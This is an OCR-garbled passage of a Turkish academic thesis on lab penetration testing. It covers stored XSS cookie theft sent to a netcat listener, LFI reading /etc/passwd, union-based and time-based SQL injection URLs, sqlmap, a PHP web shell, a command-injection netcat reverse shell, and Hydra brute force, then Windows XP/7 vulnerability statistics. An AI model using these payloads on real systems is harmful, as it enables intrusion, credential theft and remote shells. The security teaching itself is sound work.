genistir. Stored XSS zafiyeti genel olarak yorum yapilabilecek yerlerde, ziyaret¢i defteri, profil
giincelleme yerlerinde bulunmaktadir. Bu calismadaki senaryoda goriildiigii gibi bir ziyaretci
defteri mevcuttur. Ziyaret¢i defterine veri girisi yapildiginda bu veriler kayit edilir ve ziyaretgi
defterini kontrol et dendiginde bir login sayfas1 gelir. Eger admin yetkilerine sahip olunmussa
login sayfasindan giris yapilarak ilgili yorumlar goriintiilenebilmektedir. Bu adminin Windows

7 makinesi lizerinde bulundugu ve bu mesajlar1 goriintiileyebildigi varsayilmistir. Ziyaretci
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defterine Sekil 4.19.’da goriildigii gibi “<script>alaert(‘XSS”)</script>" XSS payload bilgileri
verilmistir. Burada veriler gonderildiginde ve Windows 7 makinesi tizerindeki Admin
sayfasinda kontrol edildiginde ilgili script komutu bu sayfada ¢alismistir. Bu durumda XSS

Stored zafiyetinin sayfa lizerinde bulundugu gézlemlenmistir.

Zivaretcl Defteri

Nams Pantester Kury
Email perdester e su@oerde st coen

Communt | «5cripal erl ASE ' fa/mripts

Oindet

Zivaretcl Defterini Kontrol Et
Sekil 4.19. XSS payload bilgileri.
Nane Pertester Koam

Emsll penirgedouusdpent=st oo
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_

Sekil 4.20. XSS stored zafiyeti.

Sekil 4.20."de goriildiigl gibi istem dis1 bir popup ¢alistirilmistir. Session Hijacking islemleri ile
buradaki admin kullanicisinin cookie bilgileri ¢alinarak bu sayfa {izerine admin kullanicisi gibi
erisim saglanabilmektedir. Bu islemler i¢in herhangi bir cihaz iizerinde dinlenilecek port bilgisi
ve payload gerekmektedir. Bu port sayesinde Admin kullanicisinin bulundugu cihaz ile bir
baglant1 saglanarak cookie bilgisi calinacaktir. Bu islemler i¢in Linux cihazindaki netcat aract

kullanilmustir.
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Sekil 4.21. Payload bilgisi verilmesi.
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Sekil 4.21.’de new Image().src payload’1 kullanilmistir. Kullanilan bu fonksiyon herhangi bir

site izerine resim yiiklemek icin kullanilan eski bir fonksiyondur. Bu fonksiyona kaynak bilgisi

olarak Kali Linux cihazinin ip adresi verilmistir, payload gonderildiginde admin kullanicisinin

bulundugu cihaz Kali Linux cihazi {izerine bir get istegi atmistir. Cookie elde edebilmek icin get

isteginin nereye atilacagi bilgisi de verilmelidir. Burada olusturulan payload ile index.php

tizerine gelen bir get istegi goriintiilenmistir. Atilan istegin igerisinde ise admin kullanicisinin

cookie bilgisi mevcuttur. Bu cookie bilgisi kullanilarak hedef sistemin paneline bir erisim

saglanmistir. Ilgili payload gonderilmeden énce “nc —lvp 80” komutu ile nc iizerinden 80 portu

dinlemeye alimmustir. Gonderilen yorum admin kullanici sayfasinda bos bir komut gibi

goriinecektir fakat Kali cihazi ne lizerinde bir Get istegi diistiigii goriillmiistiir.

Sekil 4.22. Admin cookie bilgisi.

Sekil 4.22.°de Kali cihazinin index.php sayfasi iizerine Admin cihazindan bir get istegi

diismiistiir ve bu istek icerisinde admin cookie bilgisi mevcuttur. Elde edilen cookie kullanilarak
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hedef sistemle baglanti saglamak i¢in BurpSuite ya da cookie manager eklentisi kullanilmistir.
Cookie’ler oturumluk olusturulmaktadir ve Admin kullanicist oturumunu kapattiginda cookie
yok olmaktadir. Bu nedenle cookie bilgisini kullanmak i¢in ¢ok uzun zamanlar
bulunmamaktadir. Referer bilgisi kopyalanarak firefox adres ¢ubuguna girildiginde BurpSuite
iizerine bir cookie bilgisi iletilmistir. Bu cookie bilgisi Admin’in cookie bilgisiyle

degistirilmistir ve BurpSuite ile Sekil 4.23.’de goriildiigii gibi Admin sayfasi ele gecirilmistir.
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Sekil 4.23. Session hijacking.

4.8. Local File Inclusion

Bu béliimde local file inclusion islemleri gerceklestirilmistir. Bu islemler i¢in laboratuvarin LFI
linki incelenmistir. LFI zafiyetinin ¢ikis noktasi sunucu kontrollii bir veriyle sunucu iizerinden

dosya ylikleme islemidir.
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Sekil 4.24. Local file inclusion.

Sekil 4.24.°de goriilen sayfaya bakildiginda egitmenler.php sayfasini gosteren filename get
parametresi goriilmektedir. Burada goriilen sayfa egitmenler.php sayfasidir. Bu sayfa Kali
iizerinde alinan bir get parametresi ile yiiklenmistir. Bu parametre post parametresi de olabilirdi.
Bu durumda BurpSuite ile inceleme yapilmasi gerekirdi. Egitmenler.php sayfasi yerine linux
sistemi lizerinde kullanicilar bilgilerini iceren passwd dosyasinin uzantist verilmistir ve ilgili

dosya asagida goriildiigi gibi yiiklenmistir.
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rootx i reotyroat/bin/bash daemonax: 111 dasmonvsr/sbinusribinyoologn binax 22 :bingbing
fusrinbin/nologin sys 2 3sysdev/unishindnologin syne:x, 4165534 synoifbinbin/syne
grmes:x:-5:00:gamesust/games-Annsbininologin man:x:o: | 2manvarkache/man:/use
Abinfnologin [paa?: 7ipavar spool/pd: Aucisbinialogin mallaxcB:bnallivarimallAasesbin/nologin
nEws - Smewsgvarispoolinews Jusrisbinfmalogin tuopoec 10: 10 uucpivistispoaltunep fusrishin
{nalogin pmx{;&: 1305 proxydinnunnisbininologin www-datasc 35 Shwww-datavariwww fusr
fsbinfnologin backupix:3d 34 backup:var backups amcishingnalogin Lstix 38,38 Malling List
Monngordvat/list /usrmbinmologin irex 39 3% od Macrun/iveds fiusrisbinnologin

gnatax 141 .Onats Bug-Reporting System (admin) sartiblgnatsusr/stiinoologin

nobodyx:65534:655 3 nobody /nonexistentust/sbinnologin Jibunida: 190107 var/iiyhibuakd:
ayslogex: 101: 104 /homefsyslog/binfalse messagahusx: 102: 106 yvarrunidhus bintalse
londscape:x: 103100 varlib/landsoa pebinSolsy sshd 10465534 Aarirunisahd fusr/ubin
/malogin kurstyver:x:1000: 1000 kurstver,,, Jhoms/kursiyer/binbash mysqly: 10511 3:MySQL
Sarver, , dnonaxistant hin/false

Zafiyet Referuns!: https/iwww.owasp orgindex php/Testing for Local File Incluston

¥

Sekil 4.25. Linux kullanict bilgileri.
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Sekil 4.25.°de /etc/passwd dosyasina ulasildigi gibi zip dosyalarina, yedek dosyalara, excel
dosyalarina, pdf’lere veya kurum igerisindeki 6zel bilgilere ulasilarak bircok bilgi bu zafiyet

araciligiyla ¢alinabilmektedir.
4.9. SQL Injection

Bu boliimde SQL Injection saldirilar1 gergeklestirilmistir. Ilgili islemler icin laboratuvarin
Sqllnjection linki incelenmistir. SQL Injection zafiyetleri kullanicidan alman bir verinin
herhangi bir kontrolden gegcirilmeden veya eksik kontrollerden gecirilerek veri tabanina
gdnderilmesinden olusan bir zafiyettir. Ilgili zafiyet kullanilarak veri tabani iizerindeki bilgiler
ya da bazi 6zel durumlarda veri tabaninin ¢alistigi servisin sunucusuna dogrudan erisim
saglanabilmektedir. Bu zafiyet kullanilarak veri tabanindaki bilgilere ulasilmistir. Laboratuvarin
Sqllnjection sayfalar1 veri tabaninda bulunan id numaralarina gore degismektedir. Bu islemleri

saglayan php komutlar1 Sekil 4.26.’da goriildiigi gibidir.

Sekil 4.26. Sayfa php kodlar.

Buradaki php kod yapisina uymayan bir sorgu veri tabanindan cekildiginde veri tabani bu
komutu algilayamayacak ve herhangi bir ekran ¢iktis1 vermeyecektir. Goriilen query komutunun

id numarasindan sonra bir tirnak daha verilip icerisinde istenilen kodlarin ¢aligtirilmasi islemi
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gerceklestirilebilmektedir. Bu calisma isleminin ismi sql injection’dir. Ilgili sorgu komutu
“Squery = “SELECT * from pages where id="$id’istenilen komut’” seklindedir.

Ornek bir kullanim olarak adres cubuguna http:/192.168.92.139/sqli/index.php?sayfa_id=2’

or I=1-- - komutu kullanildiginda biitiin sayfalarin geldigi goriilmiistiir. SQL injection ile veri

tabanindaki tiim verileri elde etmek i¢in tek bir komut yeterli olmayacaktir. Bu islem i¢in birden
fazla komut kullanilmasi gerekmektedir. Yapilacak ilk islem ilgili veri tabaninda bulunan
tabloda kag satir oldugu bilgisini 6grenmektir. Sayfalar i¢in kullanilan tablo pages tablosudur.

Bu tabloda kag satir oldugunu 6grenmek i¢in order by komutu kullanilmisgtir,

Adres cubuguna http://192.168.92.139/sqli/index.php?sayfa_id=2"'order by 3-- - komutu
yazildiginda bir sonug¢ donerken order by 4 verildiginde herhangi bir sonu¢ donmemistir. Bu da
pages tablosunun 3 satirdan olustugu anlamina gelmektedir. Kolon sayisi bulunduktan sonra
hangi kolon tizerindeki verilerin kontrol edilebildigi tespit edilmistir. Bu islemler i¢in union

select komutu kullanilmustir,

Adres cubuguna 192.168.92.139/sqli/index.php?sayfa_id=2' union select 1,2,3-- - komutu
girildiginde ka¢ numarali kolondan veri alinabilecegi bilgisi sonu¢ olarak donmiistiir. Bu
islemlerin sonucundan ekran ¢iktisinda 2 yazmaktadir. Bu da 2 numarali kolondan veri
almabilmektedir anlamina gelir. Bir sonraki asama ise 2 numarali kolon iizerinden veri

tabaninda bulunan tablo isimlerini ¢ekmektir. Bunun i¢in concat fonksiyonu kullanilmustir.

Adres ¢ubuguna;

http://192.168.92.139/sqli/index.php?sayfa_id=2' union selectl,concat(table name),3 from
information_schema.tables-- - komutu yazildiginda sonug olarak bir siirli tablo déonmiistiir. Bu
tablolar arasinda users tablosu kontrol edilmistir ve var oldugu goriilmiistiir. Giris bilgileri gibi
onemli bilgilere users tablosundan erigmek miimkiindiir. Users tablosu igerisindeki kolon
bilgileri elde edilerek kolonlar igerisinden veri ¢ekme igslemi gergeklestirilebilmektedir. Adres
c¢ubuguna;

http://192.168.92.139/sqli/index.php?sayfa_id=2' union selectl,concat(column_name),3 from
information_schema.columns-- - komutu yazildiginda tiim kolon isimlerinin ¢ekildigi
goriilmiistiir. Bu kolonlar arasinda user name ve password kolonlart mevcuttur. Bu bilgileri
ekrana bastirmak ic¢in adres cubuguna;  h#tp:/192.168.92.139/sqli/index.php?sayfa_id=2'
union selectl,concat(user_name,’:’,password),3 from users-- - komutu yazildiginda kullanict

adi ve sifre bilgilerine erisilmistir. Sifre bilgisi yerine bazen hash bilgileri de elde
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edilebilmektedir. Elde edilen hash bilgisini kirmak i¢in john araci ya da google’a MD5 online
Decrypter yazilarak ulasilan ilgili site kullanilabilmektedir.

SQL Injection saldirilarint basariyla gerceklestirmek icin veri tabani ve kodlama bilgilerinin
bilinmesi gereklidir. Adres ¢ubuguna yazilan sorgular icerisindeki tablo isimleri veya kolon

isimleri 6grenilmis tahminlerle varsayilarak bulunmustur.

4.10. Sqli Authentication Bypass

Daha onceki boliimde SQL Injection zafiyeti kullanilarak veri tabanindaki bazi bilgilere ulagim
saglanmistir. Bu boliimde ise sql injection ile login page bypass islemleri gergeklestirilmistir.
Bu islemler icin laboratuvarin oturum yonetimi linki incelenmistir. Login sayfasindan yanlis
verilerle giris yapildiginda parola yanlissa parola hatali diyerek mesaj dondiirmektedir. Admin
password kullanic1 adi ve sifresiyle bir giris yapilmaya calisildiginda yanlis giris yapildigina
dair bir hata mesaj1 donmiistiir. Arka planda donen kodlar Sekil 4.27.’de gortildiigl gibidir.

Sekil 4.27. Php kodlar1.

Burada POST isteklerinden username ve password (admin, password) verilerini almistir. Daha

sonra hash bilgisini MDS5 ile kirmaktadir. Daha sonra veri tabaninda sorgu igerisinde elde edilen



274

verileri kullanmaktadir. flerleyen satirlarda sorgu kontrol edilmektedir. Eger sorgu sonucunda
bir tane satir donerse index.php’ye eger 1’den fazla veya 1°den az satir dondiiyse kullanici veya
parola hatali mesaji vermektedir. Klasik sql injection’larda kullanilan payload or 1=1
payload’idir. Bu payload ile veri tabanindaki tiim veriler dondiiriilebilmektedir. Fakat Sekil
4.27°de bulunan php kodlar1 geregi birden fazla sonu¢ dondiigiinde php hata mesaji verecektir.
Bu durumda ilgili payload ile dénen sonucu kisitlama islemi yapilmalidir. Bu islem LIMIT

parametresi ile saglanabilmektedir.

sdirn or 1= L LIMIT §

Sekil 4.28. Kullanici payloadi.

Sekil 4.28.’de goriilen payload LIMIT fonksiyonuyla simirlandirilmistir ve kullanict bilgisi
olarak girildiginde php kodlar1 bir hata mesaji dondiirmemistir. Index.php sayfasina
yonlendirme islemi yapilmistir. Tirnak isareti kullanildiginda bir sql hatas1 dondiiriilmiis ve
herhangi bir fonksiyon kullanilmayan sayfalarda sql injection tespit etmek i¢in zaman tabanli
payload’lar kullanilmistir. Yani hedef sistemin birkac¢ saniye boyunca ya da belirlenen saniye
boyunca cevap donmemesini saglayacak bazi 6zel keyword’ler kullanilmaktadir. Bunlardan bir
tanesi sleep() fonksiyonudur. Bu fonksiyon sorgu sonucunun donmesini ertelemek igin

kullanilan bir fonksiyondur.
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admin” AND ST

Sekil 4.29. Sleep().

Sekil 4.29.°da goriilen payload verildiginde 7 saniye boyunca site iizerinden bir yanit

almamamustir.

4.11. SQLMAP

Bu boliimde otomatiklestirilmis araclar araciligiyla ilgili zafiyetlerin somiriilmesi islemleri
gerceklestirilmistir. SQL Injection zafiyetlerini somiirmede kullanilan en bilinen arag SQLMAP

aracidir. i1k olarak get istegine bagl zafiyetlerin somiiriilmesi islemleri gergeklestirilmistir.
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Sekil 4.30. SQLMAP.
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Sekil 4.30.’da sql aracina u parametresi ile bir yonlendirme adresi verilmistir. Bu adres get
istegine bagli olarak sayfa getiren php sayfa adresidir. Bu islemlerin sonucunda veri tabaninin

cekilme islemi Sekil 4.31.’de goriildiigii gibi gerceklestirilmistir.

i
! i
!
3

Sekil 4.31. Cekilen veri tabanlari.

Post isteklerinde de ilgili zafiyetler kontrol edilebilmektedir. Bu islemler i¢in BurpSuite
kullanilmistir. BurpSuite tizerinden 6rnek bir post istegi sqlmap’e verilerek zafiyet taramasi
gerceklestirilebilmektedir. Ikinci bir yol olarak ise dogrudan site iizerinden gonderilen veri

manuel olarak belirtilebilmektedir.
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Sekil 4.32. SQLMAP formlar.

Sekil 4.32.”de sqlmap araci u parametresiyle yonlendirilen site tizerindeki tiim formlari bularak
bu formlar iizerinde sql injection saldirilar1 diizenlemistir. ilgili islem ve sonuclar Sekil 4.33.’da

gorildigi gibidir.
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Sekil 4.33. SQLMAP SQL injection.
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Burada goriildiigii gibi sqlmap araci bir tane form tespit etmistir ve bu form iizerine bir sql

injection saldirist diizenlenmek isteniyor mu diye sormustur. Evet, cevabi verildiginde sql

injection ile somiirme islemi baslatilmistir. Bu sOmiirii sonucunda ilgili veri tabanlar

listelenmigstir. Elde edilen veri tabanlari iizerindeki bilgilere erisim saglanmasi i¢in —D

parametresi ile veri tabani se¢imi gerceklestirilmistir. Secilen veri tabani igerisindeki tablolara

erisim igin ise —tables parametresi kullanilmistir.
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Sekil 4.34. Veri tabani tablolarina ulasma 1.
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Sekil 4.35. Veri tabani tablolarina ulasma 2.

Sekil 4.34. ve Sekil 4.35.de ilgili veri tabani tablolarindan users tablosu verilerine ulagmak igin

Sekil 4.36.”da goriilen islemler gergeklestirilmistir.
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Sekil 4.36. Tablo kolon bilgileri 1.

Sekil 4.37. Tablo kolon bilgileri 2.
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Sekil 4.37.de bulunan kolon bilgilerine erisim saglamak icin ise —C parametresi ile kolon ismi

belirtilmistir.
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Sekil 4.38. Tablo kolon bilgileri 3.

Sekil 4.39. Tablo kolon bilgileri 4.

Sekil 4.38. ve Sekil 4.39.’da users tablosunda bulunan username kolon bilgileri ¢ekilmistir.

Ayni islemler diger kolonlar lizerinde de gerceklestirilebilmektedir.

4.12. Dosya Yiikleme Zafiyeti

Bu boliimde dosya yiikleme zafiyetleri somiiriilerek saldir1 islemleri gerceklestirilmistir. ilgili
islemler i¢in laboratuvarin File Upload linki incelenmistir. File Upload (Dosya Yiikleme)
zafiyetleri sunucu iizerinde dosya yilikleme islemi yapilan her yerde karsilasilabilecek ve
popiilerligini koruyan bir zafiyettir. Bu zafiyet somiiriilerek hedef sunuculari ele gecirme
islemleri gerceklestirilmektedir. Bu zafiyetin olugmasindaki temel neden sunucu iizerine

konulan dosyanin kontrolden gecirilmemesidir.
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File Uploader
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Sekil 4.40. File upload.

Sekil 4.40.’da goriilen sayfa apache servisi ilizerinde galisan ve php kodlama dili ile yazilmis bir
site sayfasidir. Bu sayfa lizerinden istenilen php sayfasi yiiklenerek apache servisinin bulundugu
dizine konulursa php kodlama dili sistem fonksiyonlar1 dahilinde hedef sistem iizerinde komut
yirlitme islemi gergeklestirilebilmektedir. Bu islemler igin olusturulan zararli.php sayfasi

kullanilmastir.
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Sekil 4.41. Zararli.php.

Sekil 4.41.”de goriilen php kodu pentester parametresine bagli olarak sayfa lizerinde get istekleri
yiiriitiilmesini saglamaktadir ve echo komutuyla sayfaya ekran ¢iktis1 olarak yazdirilmaktadir.
Zararli.php dosyasi sunucu iizerine yliklenmistir. Yiiklenen dosyanin hangi dizine yiiklendigini
O0grenmek icin robots.txt dosyasina bakilabilir ya da tahmin yiiriitiilebilir. Her yiikleme
islemlerinde genel olarak yiiklenen dosyalarin bulunmasi ig¢in kullanilan uploads dizini
bulunmaktadir. Ilgili dizinde zararli.php dosyasinin kontroliinii yapmak icin Sekil 4.42.’de

goriilen adres gubugu komutu kullanilmustir.
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Sekil 4.42. Zararli.php dosya uzantisi.

Buradaki adres ¢ubugu lizerinde yazan komut g¢aligtirildiginda sayfaya ekran ciktist olarak

whoami komutunun sistem tiizerinde c¢alistigt goriilmiistir. Whoami yerine pentester

parametresinden ifconfig komutu kullanildiginda hedef sistem bilgilerinin ekrana g¢ikti olarak

yazdirildigr goriilmistiir.
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Sekil 4.43. Ifconfig komutunun ¢alistirilmast.

Sekil 4.43.°de goriildiigii gibi linux sistemler iizerinde istenilen komutlar ¢alistirilabilmektedir.

Bu zafiyete baz1 durumlarda php etiketleri engellenerek 6nlem alinabilmektedir. Bu durumlarda
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php dosyalar1 dogrudan sunucu iizerine yiiklenmek istendiginde php dosyasi buraya yiiklenemez

seklinde hatalar alinabilmektedir.

File Uploader
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Sekil 4.44. File upload zafiyetinin engellenmesi.

Sekil 4.44.”de php uzantilar1 dosyalarin yiikleme islemleri gergeklestirilmemektedir. Bu durumu

onlemek icin dosya uzantis1 adi degistirilebilmektedir.
4.13. RCE (Remote Code Execution) Zafiyeti

Bu bolimde Remote Code Execution (RCE) zafiyetleri somiiriilerek saldir1 islemleri
gerceklesitirilmistir. ilgili zafiyet i¢in laboratuvarin RCE linki incelenmistir. Remote Code
Execution veya Command Injection olarak bilinen bu zafiyetler genel olarak siradan testlerde
degil kaynak kodu analizlerinde karsilasilan ve dogrudan sunucu iizerinde komut calistirilmasi
saglayan bir zafiyettir. Bu zafiyetler oldukca ¢esitli yerlerde bulunabilmektedir. Zafiyetin
olugsmasimin sebebi ise, kullanicidan alinan bir verinin sistem fonksiyonlarina dogrudan

aktarilmasidir.

Zafivet Refuransy bttpsdwww.owasp.org/index. php/Command Injection

Sekil 4.45. RCE.

Sekil 4.45.°de goriilen sayfanin senaryo dahilinde bir sirketin kayit sayfast oldugu

varsayllmistir. Bu sayfa iizerinden sunucuya kayit olunmaktadir. Bu kullaniciya ait bir klasor de
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sunucuya eklenebilmektedir. Burada goriilen sayfanin arka plandaki php kodlar1 Sekil 4.47.’de
goriildigi gibidir.

Sekil 4.46. Php kodlar1.

Sekil 4.46.’daki kodlar yorumlandiginda POST isteklerinin kontrol edildigi ve set edilmesi
durumunda verilen veriler ¢esitli degiskenlere atanmaktadir. Daha sonra bu degiskenler bir sql
sorgusuyla veri tabanina konulmaktadir. Burada da goriildigii gibi ilk zafiyet bir sql injection
zafiyetidir. POST ile alinan verilerin herhangi bir kontrolden gegirilmemesinden kaynakli olarak
bir sql injection zafiyeti dogmustur. Ayrica komut satirlarinin sonuna dogru bir exec()
fonksiyonun kullamildigr goriilmektedir. Exec() fonksiyonu php kodlama dilinde sistem
tizerinde dogrudan komut calistirmak i¢in kullanilan bir fonksiyondur. Buradaki exec
fonksiyonunun isim text box’ina verilen veriyi direk parametre olarak kullandig1 goriilmektedir.
Kodlara gore bu textbox’a hande verisi verilirse, companyUsers dizininin altinda hande diye bir
dizin olusturulacaktir. Buradaki fonksiyon manipiile edilerek istenilen kodlarin calistirilmasi
miimkiindiir. Bu islem i¢in birkag syntax kullanilmaktadir. Bu syntax’lardan biri $ syntax’1dir.
Kayit isleminden sonra hande isimli bir dizin olusturulmustur. Eger Mkdir hande$(whoami)
komutu kullanilirsa bu zararli komut ile hedef sistem lizerinde bir komut satir1 elde edilmis
olacaktir. Ilgili shell baglantilara pentestmonkey shell sitesinden ulasilabilmektedir. Netcat ile
bir shell komutu elde edilerek baglanti saglamak amaciyla bu siteden netcat lizerinde kullanilan

shell komutlar1 elde edilebilmektedir.
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Nelcat
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Sekil 4.47. Pentestmonkey sitesi netcat reverseshell komutu.

Username yerine kayit defteri izerinden $ syntax’leri arasinda Sekil 4.47.”de goriilen shell kodu
verilmis ve netcat iizerinde 1234 numarali port dinlemeye alinmistir. Sonug olarak netcat
tizerinde bir komut satir1 elde edilmistir. Bu shell komutunun user olarak kullanilmasi Sekil
4.48.’de goriildiigii gibidir. Buradaki veriler post edildiginde Sekil 4.49.’da goriildiigii gibi

netcat iizerine bir bin/sh komutu diigmektedir.

hangeSiroy trapdtomkfito tmp
Cawnsi
hande sl i pentest Lo
Bilglasynr Muhe sl

[ 11

=5 31l

Sekil 4.48. Shell komutunun kullanilmasi.
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Sekil 4.49. Netcat /bin/sh komutu.

Elde edilen komut satir1 lizerinde id, Is, whoami gibi bir¢ok komut yiiriitiilebilmektedir. Bu ters

bir baglantinin elde edilmis oldugu anlamina gelmektedir.
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4.14. Kelime Listesi Olusturma ve Kaba Kuvvet Saldirilar

Bu bolimde web uygulamalari {iizerinde kaba kuvvet saldirilart uygulama islemleri
gerceklestirilmistir. lgili islemler igin laboratuvarin bruteforce linki incelenmistir. Brute Force
(Kaba Kuvvet) saldirilart daha onceki boliimlerde de gosterildigi gibi deneme yanilma
yontemiyle bir parola elde etme amaciyla yapilan saldirilardir. Brute Force (Kaba Kuvvet)

saldirilari gergeklestirmek amaciyla bir wordlist (kelime listesi) olusturulmustur.

DM st 3 2

Sekil 4.50. Wordlist.

Sekil 4.50.’de olusturulan wordlist’i genisletmek amactyla john araci kullanilmistir. John araci
hash kirma ya da wordlist olusturma islemleri i¢in kullanilabilmektedir. John aract ile wordlist
olugturabilmek i¢in vim /etc/john/john.conf dosyasi igerisinde wordlist kurallarinin john aracina

bildirilmesi gerekmektedir.

Sekil 4.51. John. conf dosyasi kural bildirme.

Sekil 4.51.’de kullanilan $[36] ifadesi olusturulan wordlist’in kelimeleri sonuna 3 ve 6
arasindaki harfleri eklemektedir. $1$2$3 yalnizca kelimelerin sonuna 123 eklenmesini
saglamaktadir. Ayn1 sekilde harf ve 6zel karakter ekleme islemleri de gerceklestirilmektedir. Bu
kuralin john araci ile kullanilmasi john --wordlist=wordlist2 --stdout --rules=PentesterKursu
komutu ile gerceklestirilmistir. Ilgili komutla olusturulan wordlist genisletildikten sonra brute

force saldirisini gergeklestirmek i¢in Hydra aract kullanilmustir.
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Sekil 4.52. Hydra aracinin kullanilmasi.

Sekil 4.52.°de goriildiigii gibi Hydra aracina hedef sitenin linki ve kullanici adi ve parola
bilgileri verildikten sonra bir hata mesaj1 kelimesi verilmistir. Daha sonra iglem baglatildiginda
hedef sistem tizerinde Sekil 4.53.’de goriildiigli gibi bir kullanici ad1 ve sifresi elde edilmistir.
Burada elde edilen admin kullanict adi ve admin parolasiyla site iizerinden giris yapmak

mumkinddr.

Sekil 4.53. Giris bilgisi elde etme.
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5. ISLETIM SISTEMI ve WEB UYGULAMALARININ
ZAFIYETLERININ KARSILASTIRILMASI ve YORUMLANMASI

Bu boéliimde yapilan penetrasyon testleri sonucunda tespit edilen isletim sistemi zafiyetleri ve
web uygulamasi zafiyetleri tablolar ile ele alinarak zafiyet karsilastirilmasi ve tablo
yorumlamalari yapilmistir. Isletim sistemleri ve web uygulamalar1 yayinlanmasinin ardindan
kurucu firmalan tarafindan kullanimi devam edildigi siirece gilivenlik aciklar1 testleri ve
giivenlik aciklar1 analizleri yapilmaya devam etmektedir. Tespit edilen giivenlik agiklariin
giderilmesi amaciyla kurucu firmalar tarafindan diizenli olarak yeni giivenlik yamalar1 ve

giincellemeler yayilanmaktadir.
5.1. Windows XP Zafiyet ve Somiirii Semalari

Bu boliimde Windows XP Zafiyetlerinin 2000-2017 yillar1 arasindaki zafiyet sayilar1 ve zafiyet

cesitleri agasindan gemasi verilerek yorumlamasi yapilmistir.
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Sekil 5.1. Windows XP zafiyetleri tablosu (CVE, 2019).

Sekil 5.1.’de 2000-2017 yillar1 arasinda Windows XP isletim sistemi tizerinde zafiyet ¢esitlerine
bagli olarak tespit edilen zafiyet sayilart verilmistir. Windows XP igletim sistemi 2001 yilinda
piyasaya siirilmiistiir. Piyasaya siiriilmeden 6nce 2000 yilinda bir giivenlik agig1 tespit edilmis

fakat yaymladigi 2001 yilinda herhangi bir giivenlik yamasi olusturulmamistir. Bunun yani sira

ad
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bir takim DOS, Code Execution, Overflow ve Bypass giivenlik aciklar1 kullanilmaya
baglanmistir. 2002 yilinda Windows’un SP1 paketini yayinlamasiyla DOS, Code Execution
Overflow ve Bypass giivenlik agiklarinda artis goriiliirken Yetki Yiikseltme zafiyeti de bunlara
eklenmistir. Bunun iizerine 2003 yilinda yeni giivenlik yamalari ve gilincellestirmeler
yaymlanarak DOS saldirilar1 biiyilk oranda azaltilmis ve Bypass Saldirilar1 ortadan
kaldirilmistir. Fakat bu yilda bilgi toplama ve XSS saldirilarma agik olan giivenlik agiklar tespit
edilmistir. 2004 yilinda SP2 paketi yayinlanmistir ve Dos, Code Execution, Overflow ve yetki
yiikseltme zafiyetlerinde artis goriilmustiir. Fakat XSS ve bilgi toplama zafiyetleri ortadan
kaldirilmistir. 2005 yilinda herhangi bir giivenlik yamasi yayinlanmamis ve yeni bilgi toplama
zafiyetleri tespit edilmistir. 2006 yilinda bilgi toplama zafiyetleri giderilirken var olan diger
zafiyet sayilarinda artis olmus ve yeni XSS, bellek bozulmasi zafiyetleri tespit edilmistir.
2007°de yeni bir gilivenlik yamasi yayinlanarak var olan zafiyet sayilar1 azaltilmistir. 2008
yilinda SP3 paketinin kullanicilara sunulmasiyla yetki edinimi zafiyetleri artig gosterirken diger
zafiyet cesitlerinde gozle goriiliir bir azalis meydana gelmistir. Fakat bu yilda Windows XP
isletim sistemini somiirecek yeni somiirli modilleri gelistirilmeye baslanmistir. 2009 yilinda
herhangi bir gilivenlik yamasi yaymlanmamistir. 2010 yilinda yapilan giincellestirmelerle
mevcut olan zafiyet sayisinda bir miktar azalis olsa da sistemi ¢ozen saldirganlarin sistemi
somiirecek exploit modiilii gelistirmelerinde gozle goriilen bir artis meydana gelmistir. Bunun
sonucunda 2011 yilinda yeni giivenlik yamalar1 yayimnlanarak zafiyetler biiyiikk oranda
azaltilmigtir. 2012 yilinda bu zafiyet sayilar1 daha da disiiriilerek saldirganlarin olusturdugu
somirii modiilleri neredeyse tamamen ortadan kaldirlmistir. 2013 yilinda yeni sOmiirii
modiilleri ve dosya yonlendirme zafiyetleri ortaya c¢ikmistir. 2014 yilinda DOS, Code
Execution, Overflow, Bellek Bozulmasi ve yetki edinimi zafiyetlerinde ¢ok biiylik azalislar
meydana gelse de somiirii modiilleri kullanilmaya devam etmektedir. 2017 yilinda Microsoft
Windows XP isletim sistemini en giivenli hale getirmistir fakat 2018 yilinda Microsoft son
yaymlanan paket servisi olan SP3 paketi igin gelistirmelerini tamamen durdurmustur.
Saldirganlar Microsoft XP igletim sistemi agiklarini incelemeye ve bunlari sémiirecek yeni

somiirii modiilleri gelistirmeye devam etmektedir.
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Sekil 5.2. Windows XP zafiyet ¢esitlerine gore tespit edilen toplam zafiyet sayis1 (CVE, 2019).

Sekil 5.2.’de Windows XP isletim sistemi lizerinde tespit edilen zafiyetler sematize edilmistir.
5.2. Windows 7 Zafiyet ve Somiirii Semalari

Bu bolimde Windows 7 isletim sisteminin 2009-2019 yillar1 arasinda zafiyet cesitlerine bagl

olarak zafiyet sayilari incelenmis ve yorumlanmustir.
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Sekil 5.3. Windows 7 zafiyetleri tablosu (CVE, 2019).

Sekil 5.3.’de Windows 7 isletim sistemi {izerinde zafiyet cesitlerine baglh olarak 2009-2019
yillar1 arasindaki zafiyet sayilari analiz edilmistir. Windows 7 isletim sistemi ¢aligmalar1 2007
yilinda baslamigtir. 2009 tarihinde piyasaya siiriilmistiir. 2009 yilinda piyasaya siiriilmesi ile
DOS, Code Execution, Overflow, Memory Corruption zafiyetleri tespit edilmistir. Windows

XP’nin aksine Windows 7’nin yaymlandigi yil giivenlik agiklarini sémiiren soémiirii modiilleri
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ortaya cikmistir. Bunun sebebi Windows igletim sistemlerinin mantigini Windows XP ile
kesfeden saldirganlarin Windows 7 iizerinde daha kolay somiirii modiilleri gelistirebilmesidir.
Windows XP iizerinde kullanilan somiirii modiillerinin bir¢ogu Windows 7 iizerinde de sonug
vermektedir. 2010 yilinda Windows 7 isletim sistemi lizerinde var olan zafiyetlerin ve
sOmiiriilerin sayis1 artis gosterirken XSS, Bypass, bilgi toplama ve yetki edinimi zafiyetleri de
bunlara eklenmistir. 2011 yilinda SP1 paket servisinin piyasaya siirlilmesiyle bazi zafiyet
cesitlerinde azalma goriiliirken baz1 zafiyet ¢esitlerinin sayisinda artis meydana gelmistir. 2012
yilinda bir giivenlik yamasi yaymlanmasiyla XSS ve sOmiirii modiilleri tamamen ortadan
kaldirilirken diger var olan zafiyet sayilarinda gozle goriiliir bir azalis meydana gelmistir. 2013
yilinda dizin agimi zafiyeti tespit edilmis olup yeni somiirti modiilleri eklenmistir. 2015 yilinda
zafiyet sayisindaki artis devam etmistir. 2016 yilinda var olan zafiyet sayilarinda gozle goriiliir
bir azalma meydana gelirken somirii modiilleri islevselligi yok edilmis yetki edinimi
zafiyetlerinde ise artis meydana gelmistir. 2017 yilinda yetki edinimi ve bypass zafiyetleri
